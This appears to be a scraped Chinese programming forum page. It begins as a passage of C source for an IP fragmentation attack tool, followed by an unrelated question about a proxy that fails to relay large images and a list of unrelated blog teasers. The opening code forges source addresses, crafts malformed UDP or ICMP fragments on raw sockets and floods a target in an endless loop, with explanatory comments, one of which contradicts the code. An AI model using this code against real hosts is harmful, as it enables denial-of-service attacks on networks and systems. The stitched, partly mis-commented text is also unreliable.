//给存放数据包内容的缓冲区清零 //填写数据包 pkt.ip.version = 4; //版本号 pkt.ip.ihl = 5; //包头长度为5个32bit,即20字节 pkt.ip.tot_len = htons(iplen + icmplen) + 40; pkt.ip.id = htons(0x455); //IP包的ID为1109=0x455,可以作为IDS检验的一个特征,只是这个值很容易改变 pkt.ip.ttl = 255; pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);//如果指定了端口,则协议时ICMP,否则是UDP pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; pkt.ip.frag_off = htons (8190);//偏移8190,即0x1FFE if (port) //如果有端口参数,则构造UDP数据包 { pkt.proto.udp.source = htons(port|1235); //指定源端口为目的端口与1235的或运算结果 pkt.proto.udp.dest = htons(port); pkt.proto.udp.len = htons(9); pkt.data = 'a'; //UDP数据包中的载荷数据只有一个字节,即a,体现低数据率 } else { //若没有指定端口,则构造ICMP数据包 pkt.proto.icmp.type = ICMP_ECHO; pkt.proto.icmp.code = 0; pkt.proto.icmp.checksum = 0; //校验和为0 } //循环发送,死循环 while (1) { bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); //在循环中不停地发送伪造数据包 } return bs; } //主程序 int main(int argc, char *argv[]) { u_long src_addr, dst_addr; int i, bs=1, port=0; char hostname[32]; if (argc < 2) //如果提供的参数数目不足,提示使用方法 usage (argv[0]); gethostname (hostname, 32); //获取本机地址 src_addr = host_to_ip(hostname); //将本机地址赋给原地址变量src_addr //解析参数 while ((i = getopt (argc, argv, "s:p:h")) != EOF) { switch (i) { case 's': //原地址,由于使用方法中原地址不是必需的,因此这里检测是否提供了原地址,若提供了,则赋给src_addr src_addr = host_to_ip(optarg); if (!src_addr) quit("Bad source address given."); //提示原地址错误,退出 break; case 'p': //端口号 port = atoi(optarg); if ((port <=0) || (port > 65535)) quit ("Invalid port number given."); //提示端口错误,退出 break; case 'h': //如果参数是h(help),则提示用法 default: usage (argv[0]); } } //主机IP地址转换,提取目标地址 dst_addr = host_to_ip(argv[argc-1]); if (!dst_addr) quit("Bad destination address given."); //创建socket spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!spf_sck) quit("socket()"); //设置socket if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, sizeof(bs)) < 0) //指定IP包头的信息由程序员自己填写 quit("IP_HDRINCL"); //实施碎片攻击 do_frags (spf_sck, src_addr, dst_addr, port);//发送分片数据包 }
c 模拟http请求,如何获取页面中的图片?
1.我编写了一个SOCKET程序,功能类似代理软件,主要是将指定服务器的页面转发到本地。 2.在浏览器访问本地地址时,就会打开指定服务器的页面 3.现在的问题是可以获取到文本数据,如: ``` <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />• <html> <head> </head> <body> <h1>This a test</h1> <p> <img src="test.png" width="512" height="512" /> </p> </body> </html> ``` 浏览器也可以显示页面,但是图片无法加载 4.请问是什么原因呢?是否是http服务器关闭了这次连接,但是图片却并没有拿到本地导致的? 5.有什么解决办法吗? ------------------------------------------- 程序已经找到问题了。原来的程序在文本信息发送后,确实会将图片等其他数据传过来。 但是还是找不到什么原因导致的图片传输一半就会关闭连接。 1.目前我的代理程序在windows端工作,使用完成端口,想将远程服务器的页面转发到本地,然后在浏览器可以打开页面。 2.目前的问题是图片会偶尔传输不过来,尺寸小的图片可以传送,但是大尺寸的图片传输一部分后,连接就会关闭. 3.同样的连接模式,在linux平台使用epoll模型,转发数据都正常。 请问可能是哪方面问题呢? ``` /* +----------------------------------------------------------------------------------------------+ | 在本地PC运行的程序分为服务端与客户端 | | | | +--------------------------+ +---------------------------------------+ | +---------------------------+ | | | | | | | | | | 本地客户端 | | 在本地建立的服务端 | | | 192.168.2.19 | | | 主要是浏览器 +-----------> | 负责将本地数据转发到远端服务器 +-------------------> | 远端服务器 | | | FTP等软件 | | 或者将远端服务器发送过来 | | | 真实的目标地址 | | | | | 的数据转发到本地的客户端 | | | | | | | <----------+ | <-------------------+ | | | | | | | | | | +--------------------------+ +---------------------------------------+ | | | | | +---------------------------+ | | +----------------------------------------------------------------------------------------------+ 要达到效果是: 在浏览器中输入 127.0.0.1:8000 打开192.168.2.19的主页面 ```
Java学习的正确打开方式
在博主认为,对于入门级学习java的最佳学习方法莫过于视频+博客+书籍+总结,前三者博主将淋漓尽致地挥毫于这篇博客文章中,至于总结在于个人,实际上越到后面你会发现学习的最好方式就是阅读参考官方文档其次就是国内的书籍,博客次之,这又是一个层次了,这里暂时不提后面再谈。博主将为各位入门java保驾护航,各位只管冲鸭!!!上天是公平的,只要不辜负时间,时间自然不会辜负你。 何谓学习?博主所理解的学习,它是一个过程,是一个不断累积、不断沉淀、不断总结、善于传达自己的个人见解以及乐于分享的过程。
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过...
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...
linux系列之常用运维命令整理笔录
本博客记录工作中需要的linux运维命令,大学时候开始接触linux,会一些基本操作,可是都没有整理起来,加上是做开发,不做运维,有些命令忘记了,所以现在整理成博客,当然vi,文件操作等就不介绍了,慢慢积累一些其它拓展的命令,博客不定时更新 free -m 其中:m表示兆,也可以用g,注意都要小写 Men:表示物理内存统计 total:表示物理内存总数(total=used+free) use...
比特币原理详解
一、什么是比特币 比特币是一种电子货币,是一种基于密码学的货币,在2008年11月1日由中本聪发表比特币白皮书,文中提出了一种去中心化的电子记账系统,我们平时的电子现金是银行来记账,因为银行的背后是国家信用。去中心化电子记账系统是参与者共同记账。比特币可以防止主权危机、信用风险。其好处不多做赘述,这一层面介绍的文章很多,本文主要从更深层的技术原理角度进行介绍。 二、问题引入 假设现有4个人...
程序员接私活怎样防止做完了不给钱?
首先跟大家说明一点,我们做 IT 类的外包开发,是非标品开发,所以很有可能在开发过程中会有这样那样的需求修改,而这种需求修改很容易造成扯皮,进而影响到费用支付,甚至出现做完了项目收不到钱的情况。 那么,怎么保证自己的薪酬安全呢? 我们在开工前,一定要做好一些证据方面的准备(也就是“讨薪”的理论依据),这其中最重要的就是需求文档和验收标准。一定要让需求方提供这两个文档资料作为开发的基础。之后开发...
网页实现一个简单的音乐播放器(大佬别看。(⊙﹏⊙))
今天闲着无事,就想写点东西。然后听了下歌,就打算写个播放器。 于是乎用h5 audio的加上js简单的播放器完工了。 演示地点演示 html代码如下` music 这个年纪 七月的风 音乐 ` 然后就是css`*{ margin: 0; padding: 0; text-decoration: none; list-...
Python十大装B语法
Python 是一种代表简单思想的语言,其语法相对简单,很容易上手。不过,如果就此小视 Python 语法的精妙和深邃,那就大错特错了。本文精心筛选了最能展现 Python 语法之精妙的十个知识点,并附上详细的实例代码。如能在实战中融会贯通、灵活使用,必将使代码更为精炼、高效,同时也会极大提升代码B格,使之看上去更老练,读起来更优雅。
数据库优化 - SQL优化
以实际SQL入手,带你一步一步走上SQL优化之路!
通俗易懂地给女朋友讲:线程池的内部原理
餐盘在灯光的照耀下格外晶莹洁白,女朋友拿起红酒杯轻轻地抿了一小口,对我说:“经常听你说线程池,到底线程池到底是个什么原理?”
经典算法(5)杨辉三角
杨辉三角 是经典算法,这篇博客对它的算法思想进行了讲解,并有完整的代码实现。
使用 Docker 部署 Spring Boot 项目
Docker 技术发展为微服务落地提供了更加便利的环境,使用 Docker 部署 Spring Boot 其实非常简单,这篇文章我们就来简单学习下。首先构建一个简单的 S...
英特尔不为人知的 B 面
从 PC 时代至今,众人只知在 CPU、GPU、XPU、制程、工艺等战场中,英特尔在与同行硬件芯片制造商们的竞争中杀出重围,且在不断的成长进化中,成为全球知名的半导体公司。殊不知,在「刚硬」的背后,英特尔「柔性」的软件早已经做到了全方位的支持与支撑,并持续发挥独特的生态价值,推动产业合作共赢。 而对于这一不知人知的 B 面,很多人将其称之为英特尔隐形的翅膀,虽低调,但是影响力却不容小觑。 那么,在...
面试官:你连RESTful都不知道我怎么敢要你?
干货,2019 RESTful最贱实践
刷了几千道算法题,这些我私藏的刷题网站都在这里了!
遥想当年,机缘巧合入了 ACM 的坑,周边巨擘林立,从此过上了"天天被虐似死狗"的生活… 然而我是谁,我可是死狗中的战斗鸡,智力不够那刷题来凑,开始了夜以继日哼哧哼哧刷题的日子,从此"读题与提交齐飞, AC 与 WA 一色 ",我惊喜的发现被题虐既刺激又有快感,那一刻我泪流满面。这么好的事儿作为一个正直的人绝不能自己独享,经过激烈的颅内斗争,我决定把我私藏的十几个 T 的,阿不,十几个刷题网...
白话阿里巴巴Java开发手册高级篇
不久前,阿里巴巴发布了《阿里巴巴Java开发手册》,总结了阿里巴巴内部实际项目开发过程中开发人员应该遵守的研发流程规范,这些流程规范在一定程度上能够保证最终的项目交付质量,通过在时间中总结模式,并推广给广大开发人员,来避免研发人员在实践中容易犯的错误,确保最终在大规模协作的项目中达成既定目标。 无独有偶,笔者去年在公司里负责升级和制定研发流程、设计模板、设计标准、代码标准等规范,并在实际工作中进行...
SQL-小白最佳入门sql查询一
不要偷偷的查询我的个人资料,即使你再喜欢我,也不要这样,真的不好;
redis分布式锁,面试官请随便问,我都会
文章有点长并且绕,先来个图片缓冲下! 前言 现在的业务场景越来越复杂,使用的架构也就越来越复杂,分布式、高并发已经是业务要求的常态。像腾讯系的不少服务,还有CDN优化、异地多备份等处理。 说到分布式,就必然涉及到分布式锁的概念,如何保证不同机器不同线程的分布式锁同步呢? 实现要点 互斥性,同一时刻,智能有一个客户端持有锁。 防止死锁发生,如果持有锁的客户端崩溃没有主动释放锁,也要保证锁可以正常释...
项目中的if else太多了,该怎么重构?
介绍 最近跟着公司的大佬开发了一款IM系统,类似QQ和微信哈,就是聊天软件。我们有一部分业务逻辑是这样的 if (msgType = "文本") { // dosomething } else if(msgType = "图片") { // doshomething } else if(msgType = "视频") { // doshomething } else { // doshom...
Nginx 原理和架构
Nginx 是一个免费的,开源的,高性能的 HTTP 服务器和反向代理,以及 IMAP / POP3 代理服务器。Nginx 以其高性能,稳定性,丰富的功能,简单的配置和低资源消耗而闻名。 Nginx 的整体架构 Nginx 里有一个 master 进程和多个 worker 进程。master 进程并不处理网络请求,主要负责调度工作进程:加载配置、启动工作进程及非停升级。worker 进程负责处...
“狗屁不通文章生成器”登顶GitHub热榜,分分钟写出万字形式主义大作
一、垃圾文字生成器介绍 最近在浏览GitHub的时候,发现了这样一个骨骼清奇的雷人项目,而且热度还特别高。 项目中文名:狗屁不通文章生成器 项目英文名:BullshitGenerator 根据作者的介绍,他是偶尔需要一些中文文字用于GUI开发时测试文本渲染,因此开发了这个废话生成器。但由于生成的废话实在是太过富于哲理,所以最近已经被小伙伴们给玩坏了。 他的文风可能是这样的: 你发现,...
程序员:我终于知道post和get的区别
是一个老生常谈的话题,然而随着不断的学习,对于以前的认识有很多误区,所以还是需要不断地总结的,学而时习之,不亦说乎
《程序人生》系列-这个程序员只用了20行代码就拿了冠军
你知道的越多,你不知道的越多 点赞再看,养成习惯GitHub上已经开源https://github.com/JavaFamily,有一线大厂面试点脑图,欢迎Star和完善 前言 这一期不算《吊打面试官》系列的,所有没前言我直接开始。 絮叨 本来应该是没有这期的,看过我上期的小伙伴应该是知道的嘛,双十一比较忙嘛,要值班又要去帮忙拍摄年会的视频素材,还得搞个程序员一天的Vlog,还要写BU...
加快推动区块链技术和产业创新发展,2019可信区块链峰会在京召开
11月8日,由中国信息通信研究院、中国通信标准化协会、中国互联网协会、可信区块链推进计划联合主办,科技行者协办的2019可信区块链峰会将在北京悠唐皇冠假日酒店开幕。   区块链技术被认为是继蒸汽机、电力、互联网之后,下一代颠覆性的核心技术。如果说蒸汽机释放了人类的生产力,电力解决了人类基本的生活需求,互联网彻底改变了信息传递的方式,区块链作为构造信任的技术有重要的价值。   1...
Java世界最常用的工具类库
Apache Commons Apache Commons有很多子项目 Google Guava 参考博客
程序员把地府后台管理系统做出来了,还有3.0版本!12月7号最新消息:已在开发中有github地址
第一幕:缘起 听说阎王爷要做个生死簿后台管理系统,我们派去了一个程序员…… 996程序员做的梦: 第一场:团队招募 为了应对地府管理危机,阎王打算找“人”开发一套地府后台管理系统,于是就在地府总经办群中发了项目需求。 话说还是中国电信的信号好,地府都是满格,哈哈!!! 经常会有外行朋友问:看某网站做的不错,功能也简单,你帮忙做一下? 而这次,面对这样的需求,这个程序员...
网易云6亿用户音乐推荐算法
网易云音乐是音乐爱好者的集聚地,云音乐推荐系统致力于通过 AI 算法的落地,实现用户千人千面的个性化推荐,为用户带来不一样的听歌体验。 本次分享重点介绍 AI 算法在音乐推荐中的应用实践,以及在算法落地过程中遇到的挑战和解决方案。 将从如下两个部分展开: AI算法在音乐推荐中的应用 音乐场景下的 AI 思考 从 2013 年 4 月正式上线至今,网易云音乐平台持续提供着:乐屏社区、UGC...
【技巧总结】位运算装逼指南
位算法的效率有多快我就不说,不信你可以去用 10 亿个数据模拟一下,今天给大家讲一讲位运算的一些经典例子。不过,最重要的不是看懂了这些例子就好,而是要在以后多去运用位运算这些技巧,当然,采用位运算,也是可以装逼的,不信,你往下看。我会从最简单的讲起,一道比一道难度递增,不过居然是讲技巧,那么也不会太难,相信你分分钟看懂。 判断奇偶数 判断一个数是基于还是偶数,相信很多人都做过,一般的做法的代码如下...
为什么要学数据结构?
一、前言 在可视化化程序设计的今天,借助于集成开发环境可以很快地生成程序,程序设计不再是计算机专业人员的专利。很多人认为,只要掌握几种开发工具就可以成为编程高手,其实,这是一种误解。要想成为一个专业的开发人员,至少需要以下三个条件: 1) 能够熟练地选择和设计各种数据结构和算法 2) 至少要能够熟练地掌握一门程序设计语言 3) 熟知所涉及的相关应用领域的知识 其中,后两个条件比较容易实现,而第一个...
Android 9.0 init 启动流程
阅读五分钟,每日十点,和您一起终身学习,这里是程序员Android本篇文章主要介绍Android开发中的部分知识点,通过阅读本篇文章,您将收获以下内容:一、启动流程概述一、 启动流程概述Android启动流程跟Linux启动类似,大致分为如下五个阶段。1.开机上电,加载固化的ROM。2.加载BootLoader,拉起Android OS。3.加载Uboot,初始外设,引导Kernel启动等。...
8年经验面试官详解 Java 面试秘诀
作者 |胡书敏 责编 | 刘静 出品 | CSDN(ID:CSDNnews) 本人目前在一家知名外企担任架构师,而且最近八年来,在多家外企和互联网公司担任Java技术面试官,前后累计面试了有两三百位候选人。在本文里,就将结合本人的面试经验,针对Java初学者、Java初级开发和Java开发,给出若干准备简历和准备面试的建议。 Java程序员准备和投递简历的实...
相关热词 c# 输入ip c# 乱码 报表 c#选择结构应用基本算法 c# 收到udp包后回包 c#oracle 头文件 c# 序列化对象 自定义 c# tcp 心跳 c# ice连接服务端 c# md5 解密 c# 文字导航控件
立即提问